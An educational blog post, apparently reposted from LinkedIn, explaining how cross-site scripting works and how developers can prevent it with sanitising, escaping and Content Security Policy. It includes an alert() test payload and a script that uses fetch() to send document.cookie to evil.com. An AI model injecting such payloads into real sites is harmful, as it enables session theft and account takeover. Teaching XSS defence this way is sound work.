How Does an XSS Attack Work? (And Why One Script Tag Can Wreck Your App)

Let’s cut straight to it.
Your web app looks clean. Your frontend feels snappy.
But under the hood, there might be a time bomb ticking—and you won’t see it until it’s too late.

We are talking about Cross-Site Scripting (XSS). A small, invisible vulnerability that can turn your frontend into an open door for attackers.

Let me walk you through how it really works.

It Starts with a Simple Input Field...

Let’s say you've built a comment section, something users can interact with.
Looks harmless, right?
A place for feedback, a few emojis, maybe some praise.

But then, one user types this into the comment box:

<script>alert('Hacked!')</script>

If your app doesn’t sanitize or escape this input, what happens next?

The browser doesn’t display it as text.
It executes it.

So instead of a comment showing “alert(‘Hacked!’)”, every user who loads that page sees a pop-up.
Not a big deal? Think again.

It Escalates Fast: The Cookie Theft Scenario

Now imagine the attacker swaps that harmless pop-up with something more sinister:

<script>

fetch("https://evil.com/steal-cookie?data=" + document.cookie)

</script>

This script quietly sends your user's session cookie to a malicious server.
And with that cookie, an attacker can:

• Impersonate the user

• Access private dashboards

• Perform actions on the user's behalf

• Potentially gain admin access

And you know what your user sees?
Nothing.

No error. No popup. No clue they were just compromised.

So, What Just Happened?

You gave the frontend the power to render dynamic user input.
But you didn’t filter it.
You didn’t escape it.

That one field, designed for interaction, just became a weapon.

This is how real-world XSS attacks begin.

And they’re far more common than most devs think.

What Makes XSS So Dangerous?

• It runs in the user’s browser, not on your server, so traditional backend defenses miss it.

• It often looks like “everything works” from a functionality standpoint.

• It can sit quietly for weeks or months, until someone exploits it.

• It can be automated to target thousands of users.

And it only takes one place in your code where input is rendered without proper escaping.

Here’s What You Should Be Doing (Starting Today)

If you want to make sure your app doesn’t fall victim to this kind of attack, start here:

If you want to make sure your app doesn’t fall victim to this kind of attack, start here:

1. Sanitize All User Input

Use libraries like DOMPurify to clean inputs before rendering.

2. Escape Output in the Frontend

Never inject user data directly into innerHTML. Use textContent or escaping libraries instead.

3. Use a Content Security Policy (CSP)

CSP headers can help restrict what scripts can execute on your page, reducing the damage XSS can do.

4. Review Your Frontend Framework’s Defaults

Are you using React, Angular, or Vue? Good. They escape by default—but only if you don’t bypass it. Avoid dangerouslySetInnerHTML or its equivalents unless absolutely necessary.

5. Treat Every Input Field as a Potential Threat

Search boxes, profile bios, chat messages, reviews—all of them. Don’t assume small = safe.

Final Thoughts: Don’t Let the UI Fool You

Frontend vulnerabilities are deceptive. Everything might look smooth and functional.
But if you’re letting user input go straight into your page without cleaning it, you're inviting attackers in.

One script tag. One missed line of validation. That’s all it takes to hijack your entire app experience.

So the next time you're testing a new feature, try this:

Type <script>alert("test")</script> in a field.

If it runs?
You’ve got work to do.

I published this article on LinkedIn, and I'm sharing it here for educational and informational purposes only.

https://www.linkedin.com/pulse/how-does-xss-attack-work-why-one-script-uzekf/?trackingId=Qco4wH6cxX84V3pliAk1lw%3D%3D